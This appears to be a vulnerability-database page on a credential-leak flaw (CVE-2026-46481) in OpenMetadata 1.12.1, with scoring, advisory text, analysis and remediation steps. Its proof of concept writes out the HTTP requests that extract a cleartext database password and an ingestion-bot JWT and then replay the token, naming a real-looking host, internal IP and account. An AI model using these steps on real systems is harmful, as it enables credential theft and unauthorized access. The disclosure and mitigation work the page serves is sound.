What is the CVSS score of CVE-2026-46481?

CVE-2026-46481 has a CVSS 3.1 base score of 8.3 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L. EPSS exploitation probability: 0.0%.

Which versions of OpenMetadata are affected by CVE-2026-46481?

OpenMetadata versions 1.12.1 contain a high-severity vulnerability (CVSS 8.3) with publicly available exploit code allowing authenticated users to extract cleartext database passwords and long-lived…. A patch is available.

How to fix or mitigate CVE-2026-46481?

Within 24 hours: Identify OpenMetadata 1.12.1 deployments; restrict network access to POST /api/v1/automations/workflows endpoint to administrative-only accounts; enable detailed HTTP response logging. Within 7 days: Rotate all database credentials and JWT tokens configured in affected instances; audit workflow test connection logs for unauthorized access patterns. Within 30 days: Monitor for OpenMetadata vendor patch release; implement network segmentation for metadata service access pending patch deployment.

OpenMetadata CVE-2026-46481

EUVD-2026-35136 HIGH

Insertion of Sensitive Information Into Sent Data (CWE-201)

2026-05-21 https://github.com/open-metadata/OpenMetadata

GHSA-9vmh-whc4-7phg

Microsoft Information Disclosure Apache Oracle

8.3

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.3 HIGH

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

Low

Lifecycle Timeline

Source Code Evidence Fetched

May 21, 2026 - 17:30 vuln.today

Analysis Generated

May 21, 2026 - 17:30 vuln.today

Blast Radius

ecosystem impact

† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth

3 maven packages depend on org.open-metadata:openmetadata-service (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 1.12.4.

DescriptionGitHub Advisory

This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:

The cleartext database password in request.connection.config.password.
The ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken.

The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.

This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.

---

Version / Product

Product: OpenMetadata (open source, Apache 2.0)
Version: 1.12.1
GET /api/v1/system/version →

{"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}

Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (secretsManagerProvider: "db").

---

Preconditions

Authenticated SSO user with access to the UI.
User can open a Database Service and click “Test connection”.
No server admin role, no shell/DB access.

---

PoC (short)

Login as a regular SSO user.
In the UI go to:

Settings → Services → Database Services → utplrac_scan2_srvetel Open the connection tab and click “Test connection”.

The browser sends:

POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json

{ "name": "test-connection-Oracle-XXXX", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "****", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel" } }

Note: in the request the password is masked as "****".

The server responds with HTTP 201 and a body similar to:

{ "id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "<REAL_PASSWORD_HERE>", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel", "secretsManagerProvider": "db" }, "openMetadataServerConnection": { "type": "OpenMetadata", "hostPort": "http://openmetadata-server:8585/api", "authProvider": "openmetadata", "securityConfig": { "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..." }, ... }, "updatedBy": "<regular_user>", ... }

Key points:

request.connection.config.password now contains the real Oracle DB password in cleartext.
openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").

Reuse the leaked ingestion-bot JWT:

GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <leaked_ingestion-bot_JWT> Accept: application/json

The API returns the full database service including username and password, confirming bot-level access.

---

Impact / Severity

Any user who can run “Test connection” on a database service can:
Recover the cleartext DB credentials.
Recover a long‑lived ingestion-bot JWT.
Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.

AnalysisAI

Sensitive credential disclosure in OpenMetadata 1.12.1 allows any authenticated non-admin SSO user to retrieve cleartext database passwords and a long-lived ingestion-bot JWT by triggering a TEST_CONNECTION workflow via POST /api/v1/automations/workflows. The HTTP 201 response unexpectedly echoes the stored Oracle/database secret and the bot's bearer token, which can then be replayed against service APIs with bot-level privileges. A detailed proof-of-concept is published in the GitHub Security Advisory (GHSA-9vmh-whc4-7phg), so publicly available exploit code exists; no public exploit identified at time of analysis in CISA KEV.

Technical ContextAI

OpenMetadata is an Apache 2.0 open-source metadata management platform (Maven coordinate org.open-metadata:openmetadata-service) that stores connection credentials for downstream data sources such as Oracle, MySQL, and other databases. The vulnerable code path is the automations workflow controller backing POST /api/v1/automations/workflows, which constructs a TEST_CONNECTION job by resolving secrets from the configured secrets manager (here secretsManagerProvider: 'db'), assembling an openMetadataServerConnection block that embeds the ingestion-bot's signed JWT, and then returning that fully hydrated object - rather than a redacted projection - to the caller. The root cause maps cleanly to CWE-201 (Insertion of Sensitive Information Into Sent Data): the server serializes internal secret material into an outbound API response visible to lower-privileged authenticated users, distinct from the ingestion-pipelines exposure tracked separately as GHSA-pqqf-7hxm-rj5r.

RemediationAI

Vendor-released patch: 1.12.4 - upgrade the openmetadata-service Maven artifact and OpenMetadata server to 1.12.4 or later as published in GHSA-9vmh-whc4-7phg (https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-9vmh-whc4-7phg, https://github.com/advisories/GHSA-9vmh-whc4-7phg). Until upgrade is complete, switch secretsManagerProvider away from 'db' to an external Secrets Store (AWS Secrets Manager, GCP Secret Manager, or HashiCorp Vault) as the advisory explicitly notes this configuration is not affected, accepting the operational cost of provisioning and rotating secrets through that backend; additionally restrict the ingestion-bot role and rotate the ingestion-bot JWT plus any database passwords that have been stored in OpenMetadata since deployment, since any prior TEST_CONNECTION caller may already hold them. As a network-layer compensating control, restrict /api/v1/automations/workflows to admin users via an upstream reverse proxy ACL, with the trade-off that legitimate non-admin service owners will lose self-service connection testing.